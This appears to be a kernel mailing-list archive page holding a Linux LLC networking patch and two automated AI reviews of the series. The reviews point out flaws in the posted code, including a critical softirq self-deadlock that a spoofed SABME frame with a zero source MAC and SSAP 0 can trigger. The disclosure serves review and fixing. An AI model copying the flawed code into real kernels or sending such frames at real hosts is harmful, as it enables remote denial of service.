Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v13:
- Keep listener SABME classification separate from child lifecycle
handling, including duplicate-SABME delivery to an existing child.
- Keep deferred listener SABMEs device-accounted until backlog drain.
- Keep touched local declarations in reverse Xmas tree order and retain
the v12 link.
- v12 Link: https://lore.kernel.org/all/cover.1790255682.git.zihanx@nebusec.ai/
---
include/net/llc_conn.h | 2 +-
net/llc/llc_conn.c | 131 ++++++++++++++++++++++++++++++++++++-----
2 files changed, 117 insertions(+), 16 deletions(-)
diff --git a/include/net/llc_conn.h b/include/net/llc_conn.h
index 778e5e6c0..dc4828336 100644
--- a/include/net/llc_conn.h
+++ b/include/net/llc_conn.h
@@ -13,7 +13,7 @@
#define LLC_EVENT 1
#define LLC_PACKET 2
-#define LLC_LISTENER_FRAME 3
+#define LLC_LISTENER_SABME 3
#define LLC_INCOMING_NONE 0
#define LLC_INCOMING_PENDING 1
diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 349a7c5b9..79c29c57c 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -95,8 +95,8 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
case LLC_CONN_PRIM:
/*
* Can't be sock_queue_rcv_skb, because we have to leave the
- * skb->sk pointing to the newly created struct sock in
- * llc_conn_handler. -acme
+ * skb->sk pointing to the child socket created in
+ * llc_conn_rcv_sabme(). -acme
*
* A connection indication belongs on the listener. If sk and
* skb->sk are the same socket, queueing it would later make
@@ -801,7 +801,64 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
return newsk;
}
-static int llc_conn_rcv_listener(struct sock *sk, struct sk_buff *skb,
+/* The listener is locked and bottom halves are disabled. */
+static int llc_conn_rcv_existing_sabme(struct sock *listener,
+ struct sock *newsk,
+ struct sk_buff *skb)
+{
+ struct llc_sock *llc = llc_sk(newsk);
+ int incoming_state;
+ int rc = 0;
+
+ bh_lock_sock_nested(newsk);
+ if (sock_owned_by_user(newsk)) {
+ if (!skb_set_owner_sk_safe(skb, newsk))
+ goto drop_unlock;
+ netdev_hold(skb->dev, NULL, GFP_ATOMIC);
+ llc_set_backlog_type(skb, LLC_PACKET);
+ if (sk_add_backlog(newsk, skb, READ_ONCE(newsk->sk_rcvbuf))) {
+ netdev_put(skb->dev, NULL);
+ goto drop_unlock;
+ }
+ goto unlock;
+ }
+
+ incoming_state = atomic_read(&llc->incoming_state);
+ if (READ_ONCE(llc->state) == LLC_CONN_OUT_OF_SVC) {
+ if (incoming_state == LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ goto drop_unlock;
+ }
+ if ((incoming_state == LLC_INCOMING_PENDING ||
+ incoming_state == LLC_INCOMING_QUEUED) &&
+ READ_ONCE(llc->incoming_listener) != listener)
+ goto drop_unlock;
+ if (incoming_state != LLC_INCOMING_NONE &&
+ incoming_state != LLC_INCOMING_PENDING &&
+ incoming_state != LLC_INCOMING_QUEUED)
+ goto drop_unlock;
+ if (!skb_set_owner_sk_safe(skb, newsk)) {
+ if (incoming_state == LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ goto drop_unlock;
+ }
+
+ rc = llc_conn_rcv(incoming_state == LLC_INCOMING_PENDING ? listener :
+ newsk, skb);
+ if (incoming_state == LLC_INCOMING_PENDING &&
+ atomic_read(&llc->incoming_state) == LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ goto unlock;
+
+drop_unlock:
+ kfree_skb(skb);
+unlock:
+ bh_unlock_sock(newsk);
+ sock_put(newsk);
+ return rc;
+}
+
+static int llc_conn_rcv_sabme(struct sock *sk, struct sk_buff *skb,
struct llc_addr *saddr,
struct llc_addr *daddr)
{
@@ -812,8 +869,9 @@ static int llc_conn_rcv_listener(struct sock *sk, struct sk_buff *skb,
newsk = __llc_lookup_established(llc_sk(sk)->sap, saddr, daddr,
dev_net(skb->dev));
if (newsk) {
- sock_put(newsk);
- goto drop;
+ rc = llc_conn_rcv_existing_sabme(sk, newsk, skb);
+ local_bh_enable();
+ return rc;
}
if (sk_acceptq_is_full(sk))
goto drop;
@@ -960,13 +1018,37 @@ void llc_release_incoming_children(struct sock *sk)
local_bh_enable();
}
+/*
+ * This mirrors the ADM-state DM actions, but a listener has no peer
+ * address in llc->daddr yet.
+ */
+static void llc_conn_send_dm_rsp(struct llc_sap *sap, struct sk_buff *skb,
+ struct llc_addr *saddr, u8 f_bit)
+{
+ struct sk_buff *nskb;
+ int rc;
+
+ nskb = llc_alloc_frame(NULL, skb->dev, LLC_PDU_TYPE_U, 0);
+ if (!nskb)
+ return;
+
+ llc_pdu_header_init(nskb, LLC_PDU_TYPE_U, sap->laddr.lsap,
+ saddr->lsap, LLC_PDU_RSP);
+ llc_pdu_init_as_dm_rsp(nskb, f_bit);
+ rc = llc_mac_hdr_init(nskb, skb->dev->dev_addr, saddr->mac);
+ if (unlikely(rc))
+ kfree_skb(nskb);
+ else
+ dev_queue_xmit(nskb);
+}
+
void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
{
struct net_device *backlog_dev = NULL;
struct sock *newsk = NULL, *sk;
bool newsk_lookup_ref = false;
struct llc_addr saddr, daddr;
- bool listener_frame = false;
+ bool listener_sabme = false;
bool newsk_locked = false;
llc_pdu_decode_sa(skb, saddr.mac);
@@ -1033,17 +1115,29 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
* it needs to set several state variables (see, for instance,
* llc_adm_actions_2 in net/llc/llc_c_st.c) and send a packet to
* the originator of the new connection, and this state has to be
- * in the newly created struct sock private area. -acme
+ * in the private area of the child created by
+ * llc_conn_rcv_sabme(). -acme
*/
if (unlikely(sk->sk_state == TCP_LISTEN)) {
if (!newsk) {
+ if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
+ if (!llc_conn_ev_rx_disc_cmd_pbit_set_x(sk, skb)) {
+ u8 f_bit;
+
+ llc_pdu_decode_pf_bit(skb, &f_bit);
+ llc_conn_send_dm_rsp(sap, skb, &saddr, f_bit);
+ } else if (!llc_conn_ev_rx_xxx_cmd_pbit_set_1(sk, skb)) {
+ llc_conn_send_dm_rsp(sap, skb, &saddr, 1);
+ }
+ goto drop_unlock;
+ }
if (sock_owned_by_user(sk)) {
skb_orphan(skb);
- llc_set_backlog_type(skb, LLC_LISTENER_FRAME);
- listener_frame = true;
+ llc_set_backlog_type(skb, LLC_LISTENER_SABME);
+ listener_sabme = true;
goto enqueue;
}
- llc_conn_rcv_listener(sk, skb, &saddr, &daddr);
+ llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);
goto out;
}
if (!skb_set_owner_sk_safe(skb, newsk)) {
@@ -1074,7 +1168,7 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
llc_release_incoming_sock(newsk);
} else {
dprintk("%s: adding to backlog...\n", __func__);
- if (!listener_frame)
+ if (!listener_sabme)
llc_set_backlog_type(skb, LLC_PACKET);
backlog_dev = skb->dev;
netdev_hold(backlog_dev, NULL, GFP_ATOMIC);
@@ -1138,7 +1232,7 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
int incoming_state;
int rc = 0;
- if (llc_backlog_type(skb) == LLC_LISTENER_FRAME) {
+ if (llc_backlog_type(skb) == LLC_LISTENER_SABME) {
backlog_dev = skb->dev;
if (unlikely(child || sk->sk_state != TCP_LISTEN ||
sock_flag(sk, SOCK_DEAD)))
@@ -1147,18 +1241,25 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
llc_pdu_decode_ssap(skb, &saddr.lsap);
llc_pdu_decode_da(skb, daddr.mac);
llc_pdu_decode_dsap(skb, &daddr.lsap);
- rc = llc_conn_rcv_listener(sk, skb, &saddr, &daddr);
+ rc = llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);
goto out;
} else if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
backlog_dev = skb->dev;
- if (child && child != sk) {
+ if (unlikely(!child))
+ goto drop;
+ if (child != sk) {
+ if (unlikely(child->sk_family != PF_LLC))
+ goto drop;
local_bh_disable();
bh_lock_sock_nested(child);
child_locked = true;
}
- if (child && child != sk) {
+ if (child != sk) {
childllc = llc_sk(child);
incoming_state = atomic_read(&childllc->incoming_state);
+ if (incoming_state == LLC_INCOMING_NONE ||
+ READ_ONCE(childllc->incoming_listener) != sk)
+ goto drop;
if (incoming_state == LLC_INCOMING_PENDING) {
if (sock_flag(sk, SOCK_DEAD) ||
--
2.43.0
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: [PATCH net v13 1/2] llc: release unaccepted listener child sockets
2026-09-30 13:29 ` [PATCH net v13 1/2] llc: release unaccepted listener child sockets Zihan Xi
@ 2026-10-04 13:51 ` netdev-bot+sashiko
0 siblings, 0 replies; 5+ messages in thread
From: netdev-bot+sashiko @ 2026-10-04 13:51 UTC (permalink / raw)
To: zihanx
Cc: davem, edumazet, kuba, pabeni, horms, kees, ernestas.k, leitao,
tim.bird, shuangpeng.kernel, luoxuanqiang, netdev, linux-kernel,
stable, vega, root
Thank you for your contribution! Sashiko AI review found 7 potential
issue(s) to consider.
Critical: 1 · High: 0 · Medium: 3 · Low: 3
If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).
- [Critical] The new established-connection lookup in the listener
receive path does not exclude the listener, so the lookup can return…
- [Medium] The patch uses `llc_data_accept_state()` to decide that an
unaccepted child is dead.
- [Medium] The new `llc_incoming_sock_work()` item is queued on
`system_percpu_wq` through `schedule_work()` in…
- [Medium] A blocking accept() can fail with -EINVAL when there is no
error.
- [Low] The patch adds listen() backlog enforcement to LLC, and the
commit message does not say so.
- [Low] `llc_ui_connect()` now returns -EINVAL for a socket in
TCP_LISTEN.
- [Low] This patch left stale comments.
--
llc: release unaccepted listener child sockets
This patch tracks each passive-open LLC child socket until it is accepted
or released. Children are released asynchronously through a work item
when setup fails, when the listener closes, or when the indication is
discarded. It also defers listener frame processing while userspace owns
the listener, and it stops timers synchronously before the SAP and device
references are dropped.
> diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c
> index b0447c33dbf09..6a72a8a601547 100644
> --- a/net/llc/af_llc.c
> +++ b/net/llc/af_llc.c
[ ... ]
> @@ -489,6 +499,9 @@ static int llc_ui_connect(struct socket *sock, struct sockaddr_unsized *uaddr,
> goto out;
> if (unlikely(sk->sk_type != SOCK_STREAM))
> goto out;
> + rc = -EINVAL;
> + if (unlikely(sk->sk_state == TCP_LISTEN))
> + goto out;
[Severity: Low]
This isn't a bug, but connect() on a listening LLC socket now returns
-EINVAL. Before this patch it went ahead and turned the listener into a
connecting socket.
Rejecting it seems reasonable. Could the commit message mention this
userspace-visible change? It currently covers only accept, release,
receive and timer handling.
> rc = -EALREADY;
> if (unlikely(sock->state == SS_CONNECTING))
> goto out;
[ ... ]
> @@ -718,10 +731,19 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
> llc_sk(sk)->laddr.lsap);
> skb = skb_dequeue(&sk->sk_receive_queue);
> rc = -EINVAL;
> - if (!skb->sk)
> + if (!skb || !skb->sk || skb->sk == sk)
> goto frees;
[Severity: Medium]
Can a blocking accept() return -EINVAL here when nothing has actually
gone wrong?
The skb_queue_empty()/llc_wait_data() check and the skb_dequeue() are
separate steps. Holding the listener with lock_sock() does not stop
softirq processing of child frames.
A DISC for a QUEUED child is handled in llc_conn_handler() while holding
only the child's bh lock:
llc_conn_handler()
llc_conn_rcv(child)
llc_conn_state_process()
llc_release_incoming_sock()
llc_remove_incoming_skb() <- unlinks from listener->sk_receive_queue
If that was the only queued indication, skb_dequeue() returns NULL. The
new !skb check then jumps to frees with rc = -EINVAL.
Should accept() wait again here? Or should it at least return
-ECONNABORTED, as the aborted-child path just below does?
[ ... ]
> diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> index 260460d50f54c..349a7c5b9bb1a 100644
> --- a/net/llc/llc_conn.c
> +++ b/net/llc/llc_conn.c
[ ... ]
> @@ -69,6 +70,15 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
> goto out_skb_put;
> }
>
> + /*
> + * An unaccepted child that leaves a data-accepting state cannot be
> + * delivered by accept(). Release it before processing the indication.
> + */
> + if (unlikely(atomic_read(&llc->incoming_state) ==
> + LLC_INCOMING_QUEUED &&
> + llc_data_accept_state(READ_ONCE(llc->state))))
> + llc_release_incoming_sock(skb->sk);
[Severity: Medium]
Is llc_data_accept_state() the right test for deciding that an unaccepted
child is dead?
Its kernel-doc says it tells whether data can be sent in a given state.
It returns true for every state except NORMAL, BUSY and REJ:
return state != LLC_CONN_STATE_NORMAL && state != LLC_CONN_STATE_BUSY &&
state != LLC_CONN_STATE_REJ;
That also covers the connected checkpoint states AWAIT, AWAIT_BUSY and
AWAIT_REJ, plus ERROR and RESET.
For example, suppose the peer sends RNR. llc_conn_ac_set_remote_busy()
arms busy_state_timer. When the timer fires, llc_normal_state_trans_20b
moves the child from NORMAL to AWAIT:
llc_process_tmr_ev()
llc_conn_state_process()
llc_conn_service() <- NORMAL -> AWAIT
llc_data_accept_state() <- true
llc_release_incoming_sock()
The child is set to OUT_OF_SVC and unhashed. Its indication is removed
from the listener queue and the child is freed, and no DISC or DM is
sent. The peer still considers the link up. Without this check,
llc_await_state_trans_8a would have moved the connection back to NORMAL
once the poll was answered.
llc_accept_incoming_sock() uses the same test, so accept() would return
-ECONNABORTED for a child that is only in a checkpoint state.
The commit message says:
Release an unaccepted child as soon as the connection state machine moves it
out of a data-accepting state, so a peer disconnect cannot keep an unusable
child in the listener accept queue.
Should this test only for states where the connection is actually gone,
such as ADM?
> +
> switch (ev->ind_prim) {
> case LLC_DATA_PRIM:
> skb_get(skb);
> @@ -87,7 +97,18 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
> * Can't be sock_queue_rcv_skb, because we have to leave the
> * skb->sk pointing to the newly created struct sock in
> * llc_conn_handler. -acme
[Severity: Low]
This isn't a bug, but two comments are now out of date. This one and the
-acme block in llc_conn_handler() still say the child is created in
llc_conn_handler(). With this patch, creation can be deferred to
llc_backlog_rcv() through llc_conn_rcv_listener().
The llc_backlog_rcv() kernel-doc also does not mention the new child
creation path.
Later in the series, "llc: create listener children only for SABME"
rewrites both comments to name llc_conn_rcv_sabme(). After that, only
the incomplete llc_backlog_rcv() kernel-doc would remain.
[ ... ]
> @@ -755,37 +776,257 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
[ ... ]
> +static int llc_conn_rcv_listener(struct sock *sk, struct sk_buff *skb,
> + struct llc_addr *saddr,
> + struct llc_addr *daddr)
> +{
> + struct sock *newsk;
> + int rc = 0;
> +
> + local_bh_disable();
> + newsk = __llc_lookup_established(llc_sk(sk)->sap, saddr, daddr,
> + dev_net(skb->dev));
> + if (newsk) {
> + sock_put(newsk);
> + goto drop;
> + }
[Severity: Critical]
Can __llc_lookup_established() return the listener itself here?
llc_estab_match() compares only the netns, the local and remote LSAPs,
and the local and remote MACs. It does not skip TCP_LISTEN sockets:
return net_eq(sock_net(sk), net) &&
llc->laddr.lsap == laddr->lsap &&
llc->daddr.lsap == daddr->lsap &&
ether_addr_equal(llc->laddr.mac, laddr->mac) &&
ether_addr_equal(llc->daddr.mac, daddr->mac);
A listener's llc->daddr is all zeroes after allocation. Its only writer
is llc_ui_connect(), and the value is never cleared, even when connect()
fails and the socket is then passed to listen():
llc->daddr.lsap = addr->sllc_sap;
memcpy(llc->daddr.mac, addr->sllc_mac, IFHWADDRLEN);
So for a listener bound to the device MAC, the lookup would match the
listener for either:
- a SABME from the peer that an earlier failed connect() targeted, or
- on a never-connected listener, a frame with source MAC
00:00:00:00:00:00 and SSAP 0.
In that case llc_conn_rcv_listener() treats the hit as an existing
connection and drops every retry, so that peer can never connect.
Before this patch, a child was created.
Later in the series, "llc: create listener children only for SABME"
changes this hit to call llc_conn_rcv_existing_sabme(sk, newsk, skb)
with newsk == sk. That function starts with bh_lock_sock_nested(newsk),
but llc_conn_handler() already holds bh_lock_sock(sk) on the same
socket:
llc_conn_handler()
bh_lock_sock(sk)
llc_conn_rcv_sabme()
__llc_lookup_established() <- returns sk
llc_conn_rcv_existing_sabme()
bh_lock_sock_nested(sk) <- same slock
Wouldn't that self-deadlock in softirq? Any L2-adjacent host could
trigger it with a spoofed frame. Should the lookup skip newsk == sk, or
should llc_estab_match() skip TCP_LISTEN sockets?
> + if (sk_acceptq_is_full(sk))
> + goto drop;
[Severity: Low]
This isn't a bug, but this adds listen() backlog enforcement that LLC did
not have before, and the commit message does not mention it.
In the baseline, llc_ui_listen() stored sk_max_ack_backlog but nothing
ever checked it. llc_ui_accept() also called sk_acceptq_removed() with
no matching add, so the counter underflowed.
With this patch, listener frames are dropped once the backlog is full.
Released children also keep their slot until llc_incoming_sock_work()
runs.
The commit message only says "update the accept backlog". Since this is
tagged for stable, could it say that connection attempts beyond the
listen() backlog are now dropped, and that the old underflow is fixed?
[ ... ]
> +static void llc_incoming_sock_work(struct work_struct *work)
> +{
[ ... ]
> + netdev_put(dev, &llc->dev_tracker);
> + llc_sk_free(sk);
> + llc_sap_put(sap);
> + if (listener) {
> + lock_sock(listener);
> + sk_acceptq_removed(listener);
> + release_sock(listener);
> + sock_put(listener);
> + }
> +}
[Severity: Medium]
Can this work item still be running llc2 module code after the module has
been freed?
llc_release_incoming_sock() queues incoming_work on system_percpu_wq
with schedule_work(). Nothing in llc2_exit() flushes or cancels it.
At the end of llc_incoming_sock_work(), llc_sk_free(sk) and
sock_put(listener) can drop the last LLC socket reference. llc_proto.owner
is THIS_MODULE, so the final sock_put() runs sk_prot_free() ->
module_put() synchronously. At that point the worker is still executing
llc_incoming_sock_work() in llc2.ko text.
On a preemptible kernel, the worker can be preempted after the last
sock_put(). If rmmod llc2 completes in that window, the worker resumes
in freed module text. The synchronize_rcu() in free_module() does not
wait for a preempted task that is outside an RCU read-side section.
Would a dedicated workqueue that llc2_exit() destroys, or a flush in
llc2_exit(), close this window?
[ ... ]
--
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1790688018.git.zihanx%40nebusec.ai
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: [PATCH net v13 2/2] llc: create listener children only for SABME
2026-09-30 13:29 ` [PATCH net v13 2/2] llc: create listener children only for SABME Zihan Xi
@ 2026-10-04 13:52 ` netdev-bot+sashiko
0 siblings, 0 replies; 5+ messages in thread
From: netdev-bot+sashiko @ 2026-10-04 13:52 UTC (permalink / raw)
To: zihanx
Cc: davem, edumazet, kuba, pabeni, horms, kees, ernestas.k, leitao,
tim.bird, shuangpeng.kernel, luoxuanqiang, netdev, linux-kernel,
stable, vega, root
Thank you for your contribution! Sashiko AI review found 1 potential
issue(s) to consider.
Critical: 1 · High: 0 · Medium: 0 · Low: 0
If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).
- [Critical] In llc_conn_rcv_existing_sabme() (net/llc/llc_conn.c), the
patch calls bh_lock_sock_nested(newsk) on whatever socket…
--
llc: create listener children only for SABME
With this patch, an LLC listener creates a passive-open child only for a
SABME command. It answers DISC and other P=1 commands with DM and drops
all other frames. A duplicate SABME that matches an existing connection
now goes to that child through the new llc_conn_rcv_existing_sabme()
helper instead of being dropped, and llc_backlog_rcv() checks backlog
packets more strictly.
> diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> index 349a7c5b9bb1a..79c29c57cd471 100644
> --- a/net/llc/llc_conn.c
> +++ b/net/llc/llc_conn.c
[ ... ]
> @@ -801,7 +801,64 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
> return newsk;
> }
>
> -static int llc_conn_rcv_listener(struct sock *sk, struct sk_buff *skb,
> +/* The listener is locked and bottom halves are disabled. */
> +static int llc_conn_rcv_existing_sabme(struct sock *listener,
> + struct sock *newsk,
> + struct sk_buff *skb)
> +{
> + struct llc_sock *llc = llc_sk(newsk);
> + int incoming_state;
> + int rc = 0;
> +
> + bh_lock_sock_nested(newsk);
[ ... ]
> @@ -812,8 +869,9 @@ static int llc_conn_rcv_listener(struct sock *sk, struct sk_buff *skb,
> newsk = __llc_lookup_established(llc_sk(sk)->sap, saddr, daddr,
> dev_net(skb->dev));
> if (newsk) {
> - sock_put(newsk);
> - goto drop;
> + rc = llc_conn_rcv_existing_sabme(sk, newsk, skb);
> + local_bh_enable();
> + return rc;
> }
[Severity: Critical]
Can __llc_lookup_established() return the listener itself here?
Listeners are hashed in the same sap->sk_laddr_hash, and
llc_estab_match() does not check sk_state:
net/llc/llc_conn.c:llc_estab_match() {
...
return net_eq(sock_net(sk), net) &&
llc->laddr.lsap == laddr->lsap &&
llc->daddr.lsap == daddr->lsap &&
ether_addr_equal(llc->laddr.mac, laddr->mac) &&
ether_addr_equal(llc->daddr.mac, daddr->mac);
}
A listener that was bound but never connected has an all-zero daddr.
llc_ui_bind() relies on that zero daddr in its clash check.
A socket whose connect() failed keeps llc->daddr set to the peer, because
llc_ui_connect() fills it in before the attempt. llc_ui_listen() only
requires SS_UNCONNECTED, so that socket can then become a listener that
still matches the peer.
Suppose a peer sends one SABME command to the listener's MAC and SAP,
using SA 00:00:00:00:00:00 and SSAP 0. The softirq path then looks like
this:
llc_conn_handler()
__llc_lookup() returns the listener
bh_lock_sock(sk)
sk_state is TCP_LISTEN, !newsk, frame is SABME, not owned by user
llc_conn_rcv_sabme(sk, skb, &saddr, &daddr)
__llc_lookup_established() returns the same listener
llc_conn_rcv_existing_sabme(sk, sk, skb)
bh_lock_sock_nested(sk)
Wouldn't this CPU spin forever on sk->sk_lock.slock, which it already
holds? SINGLE_DEPTH_NESTING only changes the lockdep subclass. It does not
stop a real recursive acquisition.
Before this patch, a lookup hit here just called sock_put(newsk) and
dropped the skb without taking any child lock.
The deferred path does not deadlock, because __release_sock() has already
dropped the slock. In that case the skb is queued again on the listener as
LLC_PACKET, and llc_backlog_rcv() drops it because the listener's
llc->state is ADM.
Should llc_conn_rcv_sabme() drop the frame when newsk == sk (or when
newsk->sk_state == TCP_LISTEN) before taking the child lock? The
established match could also skip listening sockets instead.
[ ... ]
--
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1790688018.git.zihanx%40nebusec.ai
^ permalink raw reply [flat|nested] 5+ messages in thread
end of thread, other threads:[~2026-10-04 13:52 UTC | newest]
Thread overview: 5+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-30 13:29 [PATCH net v13 0/2] llc: fix listener child socket leaks Zihan Xi
2026-09-30 13:29 ` [PATCH net v13 1/2] llc: release unaccepted listener child sockets Zihan Xi
2026-10-04 13:51 ` netdev-bot+sashiko
2026-09-30 13:29 ` [PATCH net v13 2/2] llc: create listener children only for SABME Zihan Xi
2026-10-04 13:52 ` netdev-bot+sashiko
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®